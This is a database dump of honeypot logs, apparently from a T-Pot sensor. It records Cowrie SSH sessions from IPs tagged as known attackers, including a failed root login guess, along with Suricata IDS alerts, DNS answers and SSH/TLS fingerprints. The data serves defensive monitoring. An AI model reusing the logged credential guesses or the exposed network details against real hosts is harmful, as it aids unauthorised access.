29991	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:44.351261+03	2021-09-20 14:45:02.433142+03	{"_id": "pQb5AnwBvYTbRNuE6Tln", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34375, "timestamp": "2021-09-20T11:31:44.351261", "@timestamp": "2021-09-20T11:31:44.351Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29992	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:44.346113+03	2021-09-20 14:45:02.435142+03	{"_id": "pgb5AnwBvYTbRNuE6jmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:34375 (192.168.176.2:22) [session: 8b6a4126fda7]", "session": "8b6a4126fda7", "@version": "1", "protocol": "ssh", "src_port": 34375, "dest_port": 22, "timestamp": "2021-09-20T11:31:44.346113Z", "@timestamp": "2021-09-20T11:31:44.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29993	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:44.349115+03	2021-09-20 14:45:02.436142+03	{"_id": "pwb5AnwBvYTbRNuE6jmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "8b6a4126fda7", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:31:44.349115Z", "@timestamp": "2021-09-20T11:31:44.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29994	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:44.933052+03	2021-09-20 14:45:02.438142+03	{"_id": "rQb5AnwBvYTbRNuE7Dku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 7, "bytes_toclient": 0, "bytes_toserver": 670}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:44.933052Z", "@timestamp": "2021-09-20T11:31:44.933Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29995	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:44.933492+03	2021-09-20 14:45:02.439141+03	{"_id": "rgb5AnwBvYTbRNuE7Dku", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 8, "bytes_toclient": 0, "bytes_toserver": 760}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:44.933492Z", "@timestamp": "2021-09-20T11:31:44.933Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
29996	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:31:46.071561+03	2021-09-20 14:45:02.440142+03	{"_id": "twb5AnwBvYTbRNuE8DkY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59977, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 740, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1952453228630016, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42659, "timestamp": "2021-09-20T11:31:46.071561Z", "@timestamp": "2021-09-20T11:31:46.071Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29997	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:31:46.11961+03	2021-09-20 14:45:02.441141+03	{"_id": "uQb5AnwBvYTbRNuE8Tk5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35330, "dest_port": 443, "timestamp": "2021-09-20T11:31:46.119610", "@timestamp": "2021-09-20T11:31:46.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29998	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:31:47.260001+03	2021-09-20 14:45:02.443142+03	{"_id": "uwb5AnwBvYTbRNuE8jlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/3456789] failed", "session": "8b6a4126fda7", "@version": "1", "password": "3456789", "username": "root", "timestamp": "2021-09-20T11:31:47.260001Z", "@timestamp": "2021-09-20T11:31:47.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29999	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:47.412719+03	2021-09-20 14:45:02.444142+03	{"_id": "vgb5AnwBvYTbRNuE9DkB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 12, "bytes_toclient": 0, "bytes_toserver": 1180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAABAQAAAD/AgAAAAAAAAAAAAH/8J8CBAAAAP8CAAAAAAAAAAAAAAAAAPsEAAAA/wIAAAAAAAAAAAAAAAAADAQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:47.412719Z", "@timestamp": "2021-09-20T11:31:47.412Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............................................................................"}}	1	\N	\N	alert	\N	\N
30000	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:31:48.000424+03	2021-09-20 14:45:02.446142+03	{"_id": "wAb5AnwBvYTbRNuE9znq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:30:46.382477+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 890546183132685, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 59305, "timestamp": "2021-09-20T11:31:48.000424Z", "@timestamp": "2021-09-20T11:31:48.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30001	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.422098+03	2021-09-20 14:45:02.447142+03	{"_id": "yQb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 18, "bytes_toclient": 0, "bytes_toserver": 1760}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.422098Z", "@timestamp": "2021-09-20T11:31:50.422Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30002	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:50.424679+03	2021-09-20 14:45:02.448142+03	{"_id": "zwb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.424679Z", "@timestamp": "2021-09-20T11:31:50.424Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30003	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.428671+03	2021-09-20 14:45:02.449141+03	{"_id": "zQb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 21, "bytes_toclient": 0, "bytes_toserver": 2050}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.428671Z", "@timestamp": "2021-09-20T11:31:50.428Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30004	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:50.42128+03	2021-09-20 14:45:02.450143+03	{"_id": "yAb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:50.421280Z", "@timestamp": "2021-09-20T11:31:50.421Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30005	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:31:50.428274+03	2021-09-20 14:45:02.451142+03	{"_id": "ywb5AnwBvYTbRNuE_zm8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:31:38.954664+0000", "pkts_toclient": 0, "pkts_toserver": 20, "bytes_toclient": 0, "bytes_toserver": 1960}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246478545192, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:31:50.428274Z", "@timestamp": "2021-09-20T11:31:50.428Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30006	169.254.159.2	109.199.241.180	Suricata	2021-09-20 14:31:51.414089+03	2021-09-20 14:45:02.453143+03	{"_id": "0Ab6AnwBvYTbRNuEAzml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "169.254.159.2", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:51.414089Z", "@timestamp": "2021-09-20T11:31:51.414Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30008	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:31:52.145824+03	2021-09-20 14:45:02.455141+03	{"_id": "2wb6AnwBvYTbRNuEBTnm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "818d17c12765", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:31:52.145824Z", "@timestamp": "2021-09-20T11:31:52.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30009	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:31:51.927749+03	2021-09-20 14:45:02.456142+03	{"_id": "3Qb6AnwBvYTbRNuEBzmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:31:51.927749Z", "@timestamp": "2021-09-20T11:31:51.927Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30010	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:31:52.422227+03	2021-09-20 14:45:02.458144+03	{"_id": "3gb6AnwBvYTbRNuEBzmO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:31:51.865695+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 888523257755039, "payload": "AAADzAYUMAgva9eEbNWAu8kPez7+uAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51854, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:31:52.422227Z", "@timestamp": "2021-09-20T11:31:52.422Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......0./k..l.....{>.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
